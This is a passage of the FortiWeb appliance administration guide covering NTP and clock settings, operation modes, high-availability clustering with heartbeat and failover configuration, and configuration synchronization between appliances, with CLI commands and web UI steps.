If the NTP query **fails**, the system clock will continue without adjustment. If FortiWeb's time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy UDP port 123.

To configure NTP via the CLI

To synchronize with an NTP server, enter the following commands:

```
config system global
  set ntpsync enable
  set timezone <timezone_index>
  set ntpserver {<server_fqdn> | <server_ipv4>}
end
```

where:

- <timezone_index> is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
- {<server_fqdn> | <server_ipv4>} is a choice of either the IP address or fully qualified domain name (FQDN) of the NTP server, such as pool.ntp.org

If your NTP query **succeeds**, the new clock time should appear when you enter the command:

```
get system status
```

If the NTP query **fails**, the system clock will continue without adjustment. If FortiWeb's time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy UDP port 123.

To manually set the date and time via the CLI

To manually configure the FortiWeb appliance's system time and disable the connection to an NTP server, enter the following commands:

```
config system global
  set ntpsync disable
  set timezone <timezone_index>
  set dst {enable | disable}
end
execute time <time_str>
```

```
execute date <date_str>
```

where:

- `<timezone_index>` is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
- `dst {enable | disable}` is a choice between enabling or disabling daylight saving time (DST) clock adjustments
- `<time_str>` is the time for the time zone in which the FortiWeb appliance is located according to a 24-hour clock, formatted as hh:mm:ss (hh is the hour, mm is the minute, and ss is the second)
- `<date_str>` is the date for the time zone in which the FortiWeb appliance is located, formatted as yyyy-mm-dd (yyyy is the year, mm is the month, and dd is the day)

See also

- ["System Information widget"](#) on page 676

Setting the operation mode

Once the FortiWeb appliance is mounted and powered on, you have physically connected the FortiWeb appliance to your overall network, and you have connected to either the FortiWeb appliance's web UI or CLI, you must configure the operation mode.

You will usually set the operation mode once, during installation or when using the Setup Wizard. Exceptions include if you install the FortiWeb appliance in Offline Protection mode for evaluation or transition purposes, before deciding to switch to another mode for more feature support in a permanent deployment. See also ["Switching out of Offline Protection mode"](#) on page 255.



The physical topology **must** match the operation mode. For details, see ["Planning the network topology"](#) on page 97 and ["How to choose the operation mode"](#) on page 101.

FortiWeb models that use Data Plane Development Kit (DPDK) for packet processing (for example, models 3000E, 3010E and 4000E) reboot automatically when you change the operation mode to or from Offline Protection.

To configure the operation mode via the web UI



Back up your configuration before changing the operation mode. For details, see ["Backups"](#) on page 324. Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone IPs, TCP SYN flood protection settings, and VLANs. You also must re-cable your network topology to suit the operation mode, unless you are switching between the two transparent modes, which have similar network topology requirements.

1. Go to **System > Config > Operation**.

Alternatively, go to **System > Status > Status**. In the **System Information** widget, next to **Operation Mode**, click **Change**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see ["Permissions"](#) on page 85.

2. From **Operation Mode**, select one of the following modes:

- **Reverse Proxy**
- **Offline Protection**
- **True Transparent Proxy**
- **Transparent Inspection**
- **WCCP**

For details, see ["How to choose the operation mode"](#) on page 101.

If you are selecting True Transparent Proxy, Transparent Inspection mode, or WCCP, configure the following:

Management IP—Specify the IP address to access the web UI. FortiWeb assigns this management IP address to port1.

Default Gateway—Set to the IP address of the next hop router.

3. Click **Apply**.

4. If you have not yet adjusted the physical topology to suit the new operation mode, see ["Planning the network topology"](#) on page 97. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL on your web servers.

To configure the operation mode via the CLI



Back up your configuration before changing the operation mode. For details, see ["Backups"](#) on page 324. Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone IPs, and VLANs. You may also need to re-cable your network topology to suit the operation mode. Exceptions may include switching between the two transparent modes, which have similar network topology requirements.

1. Enter the following commands:

```
config system settings
    set opmode {offline-protection | reverse-proxy | transparent |
        transparent-inspection | wccp}
end
where {offline-protection | reverse-proxy | transparent | transparent-
inspection| wccp} specifies the operation mode.
```

2. If you are changing to True Transparent Proxy, Transparent Inspection, or WCCP mode, also enter the following commands:

```
config system settings
    set gateway <gateway_ipv4>
end
```

where <gateway_ipv4> is the IP address of the gateway router. For details, see ["Adding a gateway"](#) on page 178.

FortiWeb will use the `gateway` setting to create a corresponding static route under `config router static` with the first available index number. Packets will egress through `port1`, the hard-coded management network interface for the transparent and WCCP operation modes.

3. If you have not yet adjusted the physical topology to suit the new operation mode, see ["Planning the network topology"](#) on page 97. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL/TLS on your web servers.

See also

- ["Planning the network topology"](#) on page 97
- ["Configuring the network settings"](#) on page 162
- ["Adding a gateway"](#) on page 178
- ["Configuring a bridge \(V-zone\)"](#) on page 171
- ["Configuring virtual servers on your FortiWeb"](#) on page 425
- ["How operation mode affects server policy behavior"](#) on page 257

Configuring a high availability (HA) FortiWeb cluster

By default, FortiWeb appliances are each a single, standalone appliance. They operate independently.

If you have purchased more than one, however, you can configure the FortiWeb appliances to form an **active-passive** or **active-active** high availability (HA) FortiWeb cluster. This improves availability so that you can achieve 99.999% service level agreement (SLA) uptimes regardless of, for example, hardware failure or maintenance periods.



If you have multiple FortiWeb appliances but do **not** need failover, you can still synchronize the configuration. This can be useful for cloned network environments and externally load-balanced active-active HA. For details, see ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149.

You can use the FortiWeb WCCP feature to create an active-active HA cluster. You synchronize the cluster members using FortiWeb's configuration synchronization feature so that each cluster member is ready to act as backup if the other appliance is not available. The WCCP server provides load balancing between the HA pair and redirects all traffic to one cluster member if the other member is unavailable. For details, see ["Example: Using WCCP with multiple FortiWeb appliances"](#) on page 158.

HA requirements

- For active-passive HA, you need two identical physical FortiWeb appliances; for active-active HA, you need two or more (up to eight) identical physical FortiWeb appliances and firmware versions.
- Redundant network topology: if the active or master appliance fails, physical network cabling and routes must be able to redirect web traffic to the standby or slave appliances. For details, see ["Topologies for high availability \(HA\) clustering"](#) on page 110.
- At least one physical port on each HA appliance connected directly, via crossover cables, or through switches. For details, see ["HA heartbeat & synchronization"](#) on page 76.
- For FortiWeb-VM:
 - A valid license for all cluster members. You cannot configure HA with trial licences.
 - Configure the vNetwork interfaces that carry heartbeat and synchronization traffic to operate in promiscuous mode and accept MAC address changes.


- Ensure the cluster members have the same number of ports and are configured with the same amount of memory and vCPUs.



FortiWeb-VM supports HA. However, if you do not wish to use the native HA, you can use your hypervisor or VM environment manager to install your virtual appliances over a hardware cluster to improve availability. For example, VMware clusters can use vMotion or VMware HA.

This is an example of an active-passive HA topology and failover in which there is an IP address transfer to the new active appliance:

To fail over, standby sends gratuitous ARP ❶. This causes network to transfer all FortiWeb VMAC & IP addresses to ports linked to standby ❷.



In this example, the primary heartbeat link is formed by a crossover cable between the two port3 physical network ports; the secondary heartbeat link is formed between the two port4 physical network ports.



For best fault tolerance, make sure that your topology is fully redundant, with no single points of failure.

For example, in the above image, the switch, firewall, and Internet connection are all single points of failure. If any should fail, websites would be unavailable despite the HA cluster. To prevent this, you would add a dual ISP connection to separate service providers, preferably with their own redundant pathways upstream. You would also

add a standby firewall, and a standby switch. For details, see "[Configuring redundant interfaces](#)" on page 176.

The style of FortiWeb HA is **active-passive**: one appliance is elected to be the active appliance (also called the primary, main, or master), applying the policies for all connections. The other is a passive standby (also called the secondary, or slave), which assumes the role of the active appliance and begins processing connections **only** if the active appliance fails.

The active and standby appliances detect failures by communicating through a heartbeat link that connects the two appliances in the HA pair. Failure is assumed when the active appliance is unresponsive to the heartbeat from the standby appliance for a configured amount of time:

Heartbeat timeout = **Detection Interval** (page 145) x **Heartbeat Lost Threshold** (page 145)

If the active appliance fails, a failover occurs and the standby appliance becomes active. To do this, the standby takes all IPv4 addresses of the unresponsive appliance and notifies the network via the Address Resolution Protocol (ARP) to redirect traffic for that virtual MAC address (VMAC) to its own network interfaces; in transparent modes, this includes the management IP. In an IPv6 environment, the network is notified via Neighbor Solicitation (NS).

Additionally, at Layer 2, switches are notified that the VMAC is now connected to a different physical port. So even though in these modes the interfaces usually are transparent bridges without IPs, ARP/NS traffic will still occur due to failover.

Time required for traffic to be redirected to the new active appliance varies by your network's responsiveness to changeover notification and by your configuration:

Total failover time = **ARP/NS Packet Numbers** (page 147) x **ARP/NS Packet Interval(sec)** (page 147) + Network responsiveness + Heartbeat timeout

For example, if:

- **Detection Interval** (page 145) is 3 (i.e. 0.3 seconds)
- **Heartbeat Lost Threshold** (page 145) is 2
- **ARP/NS Packet Numbers** (page 147) is 3
- **ARP/NS Packet Interval(sec)** (page 147) is 1
- Network switches etc. take 2 seconds to acknowledge and redirect traffic flow

then the total time between the first unacknowledged heartbeat and traffic redirection could be up to 5.6 seconds.

When the former active appliance comes back online, it may or may not assume its former active role. For an explanation, see "[How HA chooses the active appliance](#)" on page 79. At this time, when an appliance is rejoining the cluster, FortiWeb will also send gratuitous ARP/NS packets. This helps to ensure that traffic is not accidentally forwarded to both the current and former active appliance in cases where the cluster is connected through 2 switches.


To configure FortiWeb appliances that are operating in HA mode, you usually connect only to the active appliance. The active unit's configuration is almost entirely synchronized to the passive appliance, so that changes made to the active appliance are propagated to the standby appliance, ensuring that it is prepared for a failover.

However, you can use the HA setting for a cluster member to configure it with an independent management port. You can then use the IP address of the port to directly manage the cluster member.

Tasks that can require you to access a cluster member directly include:

- Connecting to a standby appliance in order to view log messages recorded about the standby appliance itself on its own hard disk.
- Connecting to a standby appliance to configure settings that are not synchronized. For details, see ["Configuration settings that are not synchronized by HA"](#) on page 78.

This is an example of an active-active HA cluster:



An active-active HA cluster created in Reverse Proxy and True Transparent Proxy modes can consist of up to eight FortiWebs. One of the member appliances will be selected as the master appliance, while the others are slaves.


The master appliance in an active-active HA cluster plays the role as the central controller to receive traffic from clients and back web servers, and distribute the traffic to all the cluster members (including itself) according to the specified load-balancing algorithm so that each FortiWeb appliance performs the security services to protect the traffic.

Similar to the active-passive HA deployment, the operation of active-active HA cluster requires heartbeat detection, configuration and session synchronization between the cluster members. If the master appliance fails, one of the slaves will take it over. The heartbeat interfaces of all the HA appliances must be connected directly with crossover cables or through switches to carry the heartbeat and synchronization traffic between the HA cluster members.

Full mesh HA

You can create a *fully meshed* HA configuration with redundant interfaces that eliminate potential single points of failure. Redundant interfaces consist of at least two physical interfaces. At any given time, only one of the physical interfaces has traffic going through it; the other interfaces act as backups in the event that the active interface fails.

This is an example of a fully meshed HA deployment:



By default, HA configurations connect to the network using a single interface, and this piece of equipment remains a potential single point of failure. When you configure redundant interfaces in an HA configuration, you eliminate the remaining potential single point of failure between your FortiWeb configuration and the network. This ensures that if an interface fails, the HA configuration can remain connected to the network.

For details, see ["Configuring redundant interfaces"](#) on page 176.

Load-balancing in Active-active HA

There are three load-balancing algorithms available for master appliance to distribute received traffic over the available cluster members:

- **By source IP:** consistently distribute the traffic coming from a source to the same cluster member (the default algorithm).
- **By connections:** dynamically distribute traffic to a cluster member who has the fewest connections processing.
- **Round-Robin:** distribute traffic among the available members in a circular order.

All the cluster members, including the master appliance, are the candidates for the algorithms, unless failure is detected on any of them. Traffic distribution is based on TCP/UDP sessions, which means once the first packet of a TCP/UDP session is assigned to a cluster member, the subsequent packets of the session will be consistently distributed to the same appliance during a time period. For more details, see ["To configure HA"](#) on page 142.



Although algorithm By source IP distribute the subsequent traffic coming from the same source IP address to a fix cluster member, it performs weighted round-robin to determine the cluster member for the first packet coming from the IP address. You can configure the weights between the cluster members through the CLI command `set weight in system ha`. For details, see the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Fail-over in Active-active HA

An active-active HA cluster performs the same heartbeat detection and configuration synchronization mechanisms as an active-passive HA pair. If a slave failure is detected, the slave appliance will be ignored by the master for its traffic distribution. If the master fails, one of the slave appliances will take it over as a master immediately (see "How HA chooses the active appliance" on page 79). After the original master recovers from failure, it becomes the slave unit. Note that all the sessions distributed to a cluster appliance will be lost if the appliance fails.

Session synchronization in Active-active HA

Once the master appliance fails and a slave takes it over, subsequent traffic of all sessions that have been established for longer than 30 seconds will be transferred to the new master for distribution (those sessions distributed to the original master appliance by itself are not included, since the original master lost them while it failed). To distribute the original sessions in the original way, the new master has to know how they are mapped. To provide a seamless takeover for this, a master appliance must maintain the mapping information (called session information as well) for all the sessions and synchronize it to all the other cluster members all the time, so that when a slave becomes the master the subsequent traffic of the original sessions can be destined to where they were. Note that active-passive HA pair will not maintain the session synchronization. For details, see [Heartbeat Interface](#) (page 146).



Although session synchronization in active-active HA guarantees a seamless takeover, it brings extra CPU and bandwidth consumption as well. The session synchronization is disabled by default, and you can enable it through the CLI command `set session-pickup in system ha`. For details, see the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To configure HA

1. If the HA cluster will use FortiGuard services, license **all** FortiWeb appliances in the HA group, and register them with the Fortinet Customer Service & Support website:

<https://support.fortinet.com/>

FortiWebs in an HA cluster use the FortiGuard Distribution Server (FDS) to validate licenses and contracts. The master appliance maintains a connection with the FDS, and each slave appliance verifies its license status via the master appliance's connection. The master appliance will also use the connection with the FDS to forward contract information to each slave appliance.



If you license only the primary appliance in an HA group, after a failover, the secondary appliance will not be able to use the FortiGuard service. This could cause traffic to be scanned with out-of-date definitions, potentially allowing newer attacks.

2. Cable both appliances into a redundant network topology.

For details, see ["Configuring redundant interfaces"](#) on page 176.

3. Physically link the FortiWeb appliances that will be members of the HA cluster.

For both active-active and active-passive HA cluster, you must link at least one of their ports (e.g. port4 to port4) for heartbeat and synchronization traffic between members of the cluster. You can either:

- Link two appliances directly via a crossover cable (for only two appliances in a cluster)
- Link the appliances through a switch (for more than two appliances in a cluster)

If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast. To improve fault tolerance and reliability, link the ports through two **separate** switches. Do **not** connect these switches to your overall network, which could introduce a potential attack point, and could also allow network load to cause latency in the heartbeat, which could cause an unintentional failover.

Note: If the heartbeat is accidentally interrupted for an active-passive HA group, such as when a network cable is temporarily disconnected, the secondary appliance will assume that the primary unit has failed, and become the new primary appliance. If no failure has actually occurred, both FortiWeb appliances will be operating as primary appliances simultaneously. Similarly, multiple appliances will be operating as master appliances simultaneously for an active-active HA cluster.



To avoid unintentional failovers due to accidental detachment or hardware failure of a single heartbeat link, make **two** heartbeat links.

For example, you might link `port3` to `port3` on the other appliance, and link `port4` to `port4` on the other appliance, then configure both appliances to use those network interfaces for heartbeat and synchronization.

4. Log in to all the appliances as the `admin` administrator account.

Accounts whose access profile includes **Read** and **Write** permissions to the **System Configuration** area can configure HA, but may not be able to use features that may be necessary when using HA, such as logs and network configuration.

5. On all the appliances, go to **System > Config > HA**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see ["Permissions"](#) on page 85.

By default, each FortiWeb appliance operates as a single, standalone appliance: only the **Configured HA mode** drop-down list appears, with the **Standalone** option selected.

6. For **Configured HA mode**, select **Active-Passive** if you want to create an active-passive HA group, or select **Active-Active** if you want to create an active-active HA group.



Fail-open is disabled when the FortiWeb appliance is configured as part of an HA pair. For details about fail-to-wire, see ["Fail-to-wire for power loss/reboots"](#) on page 663.

Additional options appear that enable you to configure HA.

7. Configure these settings:

Group-name	Type a name to identify the HA pair if you have more than one. This setting is optional, and does not affect HA function. The maximum length is 63 characters.
Device Priority	Type the priority of the appliance when selecting the active-passive primary (or active-active master) appliance in the HA cluster. On active-passive standby or active-active slave devices, this setting can be reconfigured using the CLI command <code>execute ha manage <serial-number_str> <priority_int></code>. For details, see the <i>FortiWeb CLI Reference</i>: http://docs.fortinet.com/fortiweb/reference This setting is optional. The smaller the number, the higher the priority. The valid range is 0 to 9. The default is 5. Note: By default, unless you enable Override (page 144), uptime is more important than this setting. For details, see "How HA chooses the active appliance" on page 79.
Override	Enable to make Device Priority (page 144) a more important factor than uptime when selecting the main appliance. See "How HA chooses the active appliance" on page 79.
Management Interface Reservation	Enable to specify whether the network interface you select provides administrative access to this appliance when it is a member of the HA cluster. When this option is selected, you can access the configuration for this cluster member using the IP address of the specified network interface. The interface configuration, including administrative access and other settings, is not synchronized with other cluster members. You can configure up to 8 reserved management ports in each HA cluster. You cannot configure routing for the port you select. If the management computer and FortiWeb are in a different subnet, also configure Gateway (page 144) and/or IPv6 Gateway (page 144).
Interface	Specifies the network interface that provides administrative access to this appliance when it is a member of the HA cluster.
Gateway	Enter the IPv4 address of a next-hop router. You can set a gateway if the management computer and FortiWeb are in a different subnet.
IPv6 Gateway	Enter the IPv6 address of a next-hop router. You can set a gateway if the management computer and FortiWeb are in a different subnet.
Group ID	Type a number that identifies the HA cluster. All the members of the HA cluster must have the same group ID. If you have more than one HA cluster on the same network, each HA cluster must have a different group ID.

Changing the group ID changes the cluster's virtual MAC address.

The valid range is 0 to 63. The default value is 0.

Detection Interval Type the number of 100-millisecond intervals to set the pause between each heartbeat packet that the one FortiWeb appliance sends to the other FortiWeb appliances in the HA cluster. This is also the amount of time that a FortiWeb appliance waits before expecting to receive a heartbeat packet from the other appliances.

This part of the configuration is synchronized between the all the appliances in a cluster.

The valid range is 1 to 20 (that is, between 100 and 2,000 milliseconds).

Note: Although this setting is synchronized between all the appliances, you should initially configure all the appliances with the same value to prevent inadvertent failover from occurring before the initial synchronization.

Heartbeat Lost Threshold Type the number of times one of HA appliances retries the heartbeat and waits to receive HA heartbeat packets from the other HA appliances before assuming that the other appliances have failed.

This part of the configuration is synchronized between all the appliances in a cluster.

Normally, you do not need to change this setting. Exceptions include:

- Increase the failure detection threshold if a failure is detected when none has actually occurred. For example, during peak traffic times, if the master appliance is very busy, it might not respond to heartbeat packets in time, and the slave appliances may assume that the master appliance has failed.
- Reduce the failure detection threshold or detection interval if administrators and HTTP clients have to wait too long before being able to connect through the master appliance, resulting in noticeable down time.

The valid range is from 1 to 60.

Note: Although this setting is synchronized between all the appliances, you should initially configure all the appliances with the same value to prevent inadvertent failover from occurring before the initial synchronization.

Port Monitor Mark the check boxes of one or more network interfaces that each directly correlate with a physical link. These ports will be monitored for link failure.

Port monitoring (also called interface monitoring) monitors physical network ports to verify that they are functioning properly and linked to their networks. If the physical port fails or the cable becomes disconnected, a failover occurs. You can monitor physical interfaces, but **not** VLAN subinterfaces or 4-port switches.

If you select a link aggregate interface, failover occurs only if all the physical network interfaces in the logical interface fail. For details, see "[Link aggregation](#)" on page 174.

Note: To prevent an unintentional failover, do not configure port monitoring **until** you configure HA on all the appliances in the HA cluster, and have plugged in the cables to link the physical network ports that will be monitored.

Heartbeat Interface

Select which port(s) on this appliance that the all the appliances will use to send heartbeat signals and synchronization data (configuration synchronization for active-passive HA, or configuration and session synchronization for active-active HA) between each other (i.e. the HA heartbeat link).

Connect this port to the same port number on the other HA cluster members. (e.g., If you select **port3** for the primary heartbeat link, connect port3 on **this** appliance to port3 on the **other** appliances.)

At least one heartbeat interface must be selected on each appliance in the HA cluster. Ports that currently have an IP address assigned for other purposes (that is, virtual servers or bridges) cannot be re-used as a heartbeat link.

If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast.

Tip: If enough ports are available, you can select both a primary heartbeat interface and a secondary heartbeat interface on each appliance in the HA pair to provide heartbeat link redundancy. (You cannot use the same port as both the primary and secondary heartbeat interface on the same appliance, as this is incompatible with the purpose of link redundancy.)

Note: The master appliance uses the heartbeat interface to synchronize its session table to other appliances in an **active-active HA cluster** by default. However, you can use extra interfaces for the session synchronization by configuring `set session-sync-dev <port_number>` in CLI command `config system ha`. Moreover, the appliance synchronizes sessions to others in unicast by default, but you can choose to synchronize sessions via broadcasting by configuring `set session-sync-broadcast {enable|disable}` in the CLI command `config system ha`. Broadcasting is recommended if an active-active HA cluster contains many appliances. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

8. Click **Apply**.

All the appliances join the HA cluster by matching their **Group ID** (page 144). They begin to send heartbeat and synchronization traffic to each other through their heartbeat links.

To determine which appliance currently has the role of the main appliance, on **System > Config > HA-Config**, in the **HA Member** table, view the **HA Role** column:

- **main**—The appliance in this row is currently **active**. The active appliance applies policies to govern the traffic passing to your web servers. Also called the primary, master, or main appliance.
- **standby**—The appliance in this row is currently **passive**, and is **not** actively applying policies. The passive appliance listens to heartbeat traffic and port monitoring for signs that the main appliance may have become

unresponsive, at which point it will assume the role of the main appliance. Also called the secondary or standby appliance.

If both appliances believe that they are the main:

- Test the cables and/or switches in the heartbeat link to verify that the link is functional.
 - Verify that you have selected the heartbeat port or ports in **Heartbeat Interface** (page 146). Make sure that the primary and secondary link is not crossed (that is, the primary heartbeat interface is not connected to the secondary heartbeat interface on the other appliance).
 - Verify that the **Group ID** (page 144) matches on both appliances.
 - Verify that the ports on **Port Monitor** (page 145) are linked and up (available).
 - If the heartbeat link passes through switches and/or routers, you may need to adjust the time required after a reboot to assess network availability before electing the main appliance. To do this, use the `boot-time <seconds_int>` command. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>).
 - For debugging logs, use the `diagnose system ha status` and `diagnose debug application hatalk level` commands. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>).
9. To monitor the HA cluster for failover, you can use SNMP (see "Configuring an SNMP community" on page 716), log messages (see "Configuring logging" on page 693), and alert email (see "Alert email" on page 712).

If the failover time is too long, adjust these settings:

ARP/NS Packet Numbers

Type the number of times that the FortiWeb appliance will broadcast extra ARP/NS packets when it takes on the master role. This is sometimes called "using gratuitous ARP/NS packets to train the network," and can occur when the main appliance is starting up, or during a failover. Also configure **ARP/NS Packet Interval(sec)** (page 147). Even though a new NIC has not actually been connected to the network, FortiWeb does this to notify the network that a new physical port has become associated with the IP address and virtual MAC of the HA pair.

Normally, you do not need to change this setting. Exceptions include:

- Increase the number of times the main appliance sends gratuitous ARP/NS packets if your HA pair takes a long time to fail over or to train the network. Sending more gratuitous ARP/NS packets may help the failover to happen faster.
- Decrease the number of times the main appliance sends gratuitous ARP/NS packets if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP/NS packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could reduce the number of times gratuitous ARP/NS packets are sent to reduce the amount of traffic produced by a failover.

The valid range is 1 to 16.

ARP/NS Packet Interval(sec)

Type the number of seconds to wait between each broadcast of ARP/NS packets.

Normally, you do not need to change this setting. Exceptions include:

- Decrease the interval if your HA pair takes a long time to fail over or to train the

network. Sending ARP/NS packets more frequently may help the failover to happen faster.

- Increase the interval if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP/NS packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could increase the interval between when gratuitous ARP/NS packets are sent to reduce the rate of traffic produced by a failover.

The valid range is from 1 to 20.



Even when a FortiWeb appliance broadcasts gratuitous ARP/NS packets once it takes on the master role after a failover occurs, some equipment in the network may not immediately detect that there is a new primary unit in the cluster. To make sure that all equipment detects the failover, you can use the following CLI command:

```
config system ha
    set link-failed-signal enable
end
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

10. Optionally, change the load-balancing algorithm for an active-active HA cluster.

The previous configurations are mostly the same for both active-passive HA pair and active-active HA cluster. However, you might want to change the load-balancing algorithm from default for an active-active HA cluster. You can change the algorithm by configuring `set schedule {ip | leastconnection | round-robin}` in CLI command `config system ha`. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Note: FortiWeb's **Session Management** (page 262) is not supported in an Active-Active HA deployment when the algorithm **By connections** or **Round-robin** is used for load-balancing.



If your HA link passes through switches and/or routers, and inadvertent failovers occur when rebooting the HA pair, you can increase the maximum time to wait for a heartbeat signal after a reboot by configuring `boot-time <limit_int>`. See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Check your HA topology information and statistics

After completing your HA deployment, you can manage the HA topology and view information and statistics for each HA unit.

Go to **System > Status > HA Topology**. From here, you can select the master unit or slaves in the cluster, and a pop-up window will appear with the option to disconnect them. If you select a slave in the cluster, the pop-up will also provide options to view its attack logs, event logs, and traffic logs. To view logs for the master unit in the cluster, go to **Log&Report > Log Access** and select the log(s) you want to view.

From **System > Status > HA Topology**, click **View HA Statistics** in the top right corner of the window. The following information about each unit in the cluster is displayed:

Refresh every: None Back to HA configuration page >>							
Unit	Status	Up Time	Monitor				
FV-1KD3A13800091		0 days 3 hours 50 minutes	CPU Usage 0%	Memory Usage 4%	Log Disk Usage 0%	HTTP Connections Total Connections: 0 Total Connections/Sec: 0	HTTP Throughput Throughput: 0 Kbps
FV-1KD3A13800012		0 days 3 hours 47 minutes	CPU Usage 0%	Memory Usage 4%	Log Disk Usage 0%	HTTP Connections Total Connections: 0 Total Connections/Sec: 0	HTTP Throughput Throughput: 0 Kbps

See also

- "Updating firmware on an HA pair" on page 126
- "SNMP traps & queries" on page 715
- "HA heartbeat & synchronization" on page 76
- "How HA chooses the active appliance" on page 79
- "Configuration settings that are not synchronized by HA" on page 78
- "Fail-to-wire for power loss/reboots" on page 663
- "Topologies for high availability (HA) clustering" on page 110
- "Replicating the configuration without FortiWeb HA (external HA)" on page 149

Replicating the configuration without FortiWeb HA (external HA)


Configuration synchronization provides the ability to duplicate the configuration from another FortiWeb appliance **without** using FortiWeb high availability (HA). The synchronization is unilateral **push**; it is not a bilateral synchronization. It adds any missing items, and overwrites any items that are identically named, but does not delete unique items on the target FortiWeb, nor does it pull items from the target to the initiating FortiWeb.

Replicating the configuration can be useful in some scenarios where you cannot use, or do not want, FortiWeb HA:

- **External active-active HA** (load balancing) could be provided by the firewall, the router, or an HTTP-aware load balancer such as FortiADC, since active-active HA is not provided by FortiWeb itself.
- **External active-passive HA** (failover) could be provided by a specialized failover device, instead of the FortiWeb appliances themselves, for network load distribution, latency, and performance optimization reasons. The failover device must monitor for live routes.
- **Multiple identical non-HA** FortiWeb appliances in physically distant locations with the same network scheme might be required to have the same (maybe with a few extra different) server policies, and therefore management could be simplified by configuring one FortiWeb and then replicating that to the others.

In such cases, you may be able to save time and preserve your existing network topology by synchronizing a FortiWeb appliance's configuration with another FortiWeb. This way, you do **not** need to individually configure each one, and do **not** need to use FortiWeb HA.

This is an example of a configuration synchronization network topology:



Configuration synchronization is **not** a complete replacement for HA. Each synchronized FortiWeb does **not** keep any heartbeat link (no failover will occur and availability will not be increased) nor does it load balance with the other. Additionally, configuration synchronization will **not** delete items on the target FortiWeb if the item's name is different. Also it will not import items that exist on the target, but not on your local FortiWeb.

If you require such features, either use FortiWeb HA instead, or augment configuration synchronization with an external HA/load balancing device such as FortiADC.

Like HA, due to hardware-based differences in valid settings, configuration synchronization requires that both FortiWeb appliances be of the **same model**. You cannot, for example, synchronize a FortiWeb-VM and FortiWeb 1000D.

You can configure which port number the appliance uses to synchronize its configuration. For details, see ["Config-Sync"](#) on page 90.

Synchronize each time you change the configuration, and are ready to propagate the changes. Unlike FortiWeb HA, configuration synchronization is **not** automatic and continuous. Changes will only be pushed when you manually initiate it.

To replicate the configuration from another FortiWeb



Back up your system before changing the operation mode (see "[Backups](#)" on page 324). Synchronizing the configuration overwrites the existing configuration, and cannot be undone without restoring the configuration from a backup.

1. Go to **System > Config > Config-Synchronization**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

2. For **Peer FortiWeb IP**, enter the IP address of the target FortiWeb appliance that you want to receive configuration items from your local FortiWeb appliance.

3. For **Peer FortiWeb Port**, enter the port number that the target FortiWeb appliance uses to listen for configuration synchronization. The default port is 995.

4. For **Peer FortiWeb 'admin' user password**, enter the password of the administrator account named `admin` on the other FortiWeb appliance.

5. For **Synchronization Type**, select one of the following options:

Full

For all compatible operation modes except WCCP, synchronizes all configuration except:

- **System > Config > SNMP**
- **System > Maintenance > FTP backup**
- Network interface used for synchronization (prevents sync from accidentally breaking connectivity with future syncs)
- Access profiles
- HA settings

When the operation mode is WCCP, synchronizes all configuration except:

- **System > Network > Interface**
- **System > Network > Static Route**
- **System > Network > Policy Route**
- **System > Config > WCCP Client**
- **System > Config > SNMP**
- **System > Maintenance > FTP backup**
- Access profiles
- HA settings

Note: This option is not available if the FortiWeb appliance is operating in Reverse Proxy mode. For details, see "[Supported features in each operation mode](#)" on page 102.

Partial

Synchronizes all configurations except:

- **System**

- **Policy > Server Policy**
- **Server Objects > Server**
- **Server Objects > Service**

For a detailed list of settings that are excluded from a partial synchronization, including CLI-only settings, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To test the connection settings, click **Test**. Results appear in a pop-up window. If the test connection to the target FortiWeb succeeds, this message should appear:

```
Service is available...
```

If the following message appears:

```
Service isn't available...
```

verify that:

- the other FortiWeb is the same model
 - the other FortiWeb is configured to listen on your indicated configuration sync port number (see "Config-Sync" on page 90)
 - the other FortiWeb's `admin` account password matches
 - firewalls and routers between the two FortiWebs allow the connection
6. Optionally, enable **Auto-Sync**. This feature allows you to automatically synchronize the configurations hourly, daily, or weekly. Select one of the following:

Every—Use the **hour** and **minute** drop-down menus to select the interval at which the configurations are synchronized. For example, selecting 5 for **hour** and 0 for **minute** will synchronize the configurations every five hours.

Daily—Use the **hour** and **minute** drop-down menus to select the time (24-hour clock) at which the configurations are synchronized. For example, Selecting 10 for **hour** and 30 for **minute** will synchronize the configurations every day at 10:30.

Weekly—Use the **day**, **hour**, and **minute** drop-down menus to select the day and time of day at which the configurations are synchronized. For example, selecting `Sunday` for **day**, 5 for **hour**, and 15 for **minute** will synchronize the configurations every Sunday at 5:15.

7. Click **Push config**.

